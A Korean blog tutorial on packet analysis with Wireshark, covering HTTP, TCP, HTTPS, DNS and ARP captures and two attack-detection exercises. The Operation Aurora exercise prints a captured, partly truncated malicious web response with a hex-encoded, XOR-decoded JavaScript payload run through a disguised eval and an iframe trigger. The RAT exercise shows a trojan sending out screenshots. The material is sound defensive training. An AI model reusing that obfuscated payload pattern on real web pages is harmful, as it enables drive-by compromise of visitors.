황현동 블로그 개발, 인생, 유우머

121227 wireshark를 이용한 패킷분석

Tags:




OSI 7 계층

번호 이름 역할 프로토콜, 네트워크장비
7 응용 사용자에게 네트워크 자원제공 HTTP, SMTP, FTP, TELNET
6 표현 데이타의 인코딩/디코딩, 암호화/복호화 ASCII, MPEG, JPEG, MIDI
5 세션 세션관리, 연결유지/종료/방향관리 NetBIOS
4 전송 신뢰성있는 전송, 흐름제어/분할/재조립/오류관리 TCP, UDP
방화벽, 프록시서버
3 네트워크 네트워크사이의 라우팅, 호스트 주소 관리 IP
라우터
2 데이터링크 물리장비의 주소식별 브리지, 스위치
Ethernet, Token Ring, FDDI
1 물리 물리적 매개체 .




클라이언트와 서버간의 데이타 캡슐화




wireshark 설치

  • http://www.wireshark.org/download.html




wireshark 환경설정

핵심적인정보만 표시하도록 컬럼추가/삭제

  • Edit > Preferences > User Interface > Columns
  • 아래와 같이 핵심정보만 표시되도록 컬럼추가삭제

Coloring Rules 편집

  • View > Coloring Rules
  • 송/수신 패킷을 구분하기 쉽도록 아래와 같이 컬러링룰을 추가

실시간패킷분석

패킷캡쳐준비/시작

  • Capture > Interfaces or 툴바의 인터페이스 캡쳐버튼을 클릭
  • 캡쳐할 인터페이스 선택 ( 제 경우는 노트북의 무선랜카드를 선택했습니다. )
  • Start 버튼 클릭

패킷을 캡쳐하는 동안 네트워크 액션을 수행함.

  • 캡쳐중에 크롬웹브라우져로 네이버뉴스를 몇개 클릭해봄

패킷캡쳐종료

패킷캡쳐파일저장

  • File > Save as 를 이용하여 test.pcapng 으로 저장

컬러링필터 적용

  • 아래와 같이 {my ip address}를 컬러링룰에 적용하여 송신/수신을 구분
  • 파란색이 수신, 빨간색이 송신임.

디스플레이 필터 적용

  • ip.addr == {my ip address} 를 적용하여 현재 ip로 송수신된 패킷이 아닌것들을 제거함.

HTTP 요청/응답 확인

  • #66 패킷에서 뉴스기사에 대한 GET 요청확인
  • #68 패킷에서 HTTP 200 OK 응답확인




HTTP 패킷분석

HTTP 패킷캡쳐

  • 기존에 네이버뉴스기사를 보면서 캡쳐해 두었던 test.pcapng 파일 로드

    HTTP 패킷에 대한 디스플레이 필터를 추가

  • ip.addr == 192.168.6.226 && http
  • http 를 필터조건식에 추가하여 프로토콜이 http만 필터링 되도록함.

TCP 스트림 시퀀스를 통해 HTTP 요청/응답을 확인

  • 가장 처음으로 나타난 TCP 스트림 확인
  • 두번째 스트림 확인
    • tcp.steam eq 1 로 시퀀스번호가 1씩 증가된 것을 확인할 수 있음.
    • 위와 같이 tcp.stream 번호를 증가시켜서 순차적인 HTTP 세션을 확인해 나갈수 있음.




TCP 패킷분석

HTTP 패킷캡쳐

  • 기존에 네이버뉴스기사를 보면서 캡쳐해 두었던 test.pcapng 파일 로드

TCP 헤더분석

  • #66 패킷에 대한 분석
. .
발신지포트 10941
목적지포트 80
일련번호 1
확인응답번호 1
플래그 PSH, ACK
윈도우크기 64240 bytes
체크섬 0x4862

HTTP 요청, 응답의 TCP 패킷 시퀀스 분석

  • tcp 패킷만 필터링

#SEQ, #ACK을 이용해서 전송제어를 계산하는 방법

  • #SEQ = 최근발신패킷의 #SEQ + data length
  • #ACK = 최근수신패킷의 #SEQ + data length

#SEQ, #ACK 계산과정

    • TCP 3-way handshake 분석 : #63 ~ #65
    • TCP 데이타 송수신 : #66 ~ #68
    • TCP 4-way teardown 분석 : #69 ~ #72




HTTPS 패킷분석

HTTPS 패킷캡쳐

  • 크롬웹브라우져를 시작하면서 구글에 자동로그인할때 발생하는 패킷캡쳐

디스플레이 필터 설정

  • tcp.port == 443 && ip.addr == 74.125.128.120
  • HTTPS 표준포트는 443 이므로 이 포트만 필터링
  • 여러서버에 요청을 하기 때문에 HTTPS 시퀀스 분석이 용이하게 74.125.128.120 서버와 통신했던 내역을 필터링

HTTPS 통신 시퀀스




UDP 패킷분석 - DNS 요청/응답

DNS 패킷캡쳐

  • 노트북의 인터넷을 OFF 했다가 ON 하고나서 크롬웹브라우져로 구글검색을 시도하는 시나리오.
  • 가장먼저 DNS 요청을 보내서 각 hostname을 ip address로 resolve하는 과정을 거치게 됨.
  • DNS 요청/응답은 udp 패킷이며 port는 53이므로 필터식은 udp && udp.port == 53 가 됨.

UDP 패킷헤더

DNS 요청

. .
패킷번호 19
DNS 패킷 타입 요청
NS 패킷 내용 dns.msftncsi.com 의 ip address는 무엇인가?




DNS 응답

. .  
패킷번호 22  
DNS 패킷 타입   응답
DNS 패킷 내용 dns.msftncsi.com 의 ip address는 131.107.255.255 입니다.  




ARP 패킷분석

ARP 패킷캡쳐

  • 노트북의 인터넷을 OFF 했다가 ON 하고나서 크롬웹브라우져로 구글검색을 시도하는 시나리오.
  • 각 ip address에 해당하는 mac address를 검색하기 위해서 요청하고, 해당 ip address를 갖는 호스트는 자신의 mac address를 포함하여 응답함.
  • 필터식은 arp 프로토콜을 그대로 적어준다.

ARP 요청

. .
#패킷번호 2
ARP 타입 ARP 요청
송신자 mac 10:0b…
송신자 ip 192.168.6.226
내용 192.168.4.1 의 mac 은 무엇인가?

ARP 응답

. .
#패킷번호 3
ARP 타입 ARP 응답
송신자 mac a8:d0…
송신자 ip 192.168.4.1
내용 192.168.4.1 의 mac 은 a8:d0… 입니다.




공격탐지#1 - 오퍼레이션 오로라

  • 2010년 1월 버전 IE의 취약점을 이용한 원격루트제어 획득

희생자 PC에서 캡쳐한 pcap 로드

  • aurora.pcap

첫번째 요청/응답

두번째 요청/응답

GET /info?rFfWELUjLJHpP HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 192.168.100.202
Connection: Keep-Alive
   
HTTP/1.1 200 OK
Content-Type: text/html
Pragma: no-cache
Connection: Keep-Alive
Server: Apache
Content-Length: 11266
   
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<script>
..var IwpVuiFqihVySoJStwXmT = '04271477133b000b1a0c240339133c120e2805160e1503684d705005291a08091b3e6e713e1122520b03123d051808392c0d27123b0a0805033c1c073532
...
3b0233372a033a2022215131';
..var RXb = '';
..for (i = 0;i<IwpVuiFqihVySoJStwXmT.length;i+=2) {
...RXb += String.fromCharCode(parseInt(IwpVuiFqihVySoJStwXmT.substring(i, i+2), 16));
..}
..var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1);
..var NqxAXnnXiILOBMwVnKoqnbp = '';
..for (i=0;i<RXb.length;i++) {
...NqxAXnnXiILOBMwVnKoqnbp += String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i%vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
..}
..window["eval".replace(/[A-Z]/g,"")](NqxAXnnXiILOBMwVnKoqnbp);
   
</script>
</head>
<body>
<span id="vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"><iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" /></span></body></html>
</body>
</html>
  • 공격자사이트#2가 위장된 javascript 코드와 iframe에 쌓여있는 GIF 이미지 응답

세번째 요청/응답

    • 희생자는 GIF 이미지에 GET 요청
    • 희생자PC에서 GIF 이미지가 위장된 javascript 코드와 결합하여 실행됨.

네번째, 다섯번째 요청/응답

    • 희생자PC와 공격자서버가 새로운 TCP 세션을 생성
    • 희생자는 이 세션으로 셸 정보를 전송




공격탐지#2 - 원격접속 트로이목마

희생자 PC에서 캡쳐한 pcap 로드

  • ratinfected.pcap

첫번째 TCP 스트림 분석

  • 희생자가 자신의 OS 스펙을 공격자로 전송하고 있음.

두번째 TCP 스트림 분석

세번째 TCP 스트림 분석

  • 희생자가 공격자에게 대용량 데이타 전송을 수행했음.
  • jpgevhook 이란 단어로 보아 데이타의 내용은 이미지파일인가?

세번째 스트림의 내용을 파일로 저장

  • troy.dat 로 저장

winhex를 이용해서 이미지헤더가 아닌것 같은 부분을 살살 잘라냄.

troy.dat를 그림판으로 오픈

  • 희생자의 PC가 계속 화면캡쳐당했고, 캡쳐된 이미지가 서버로 전송되고 있음.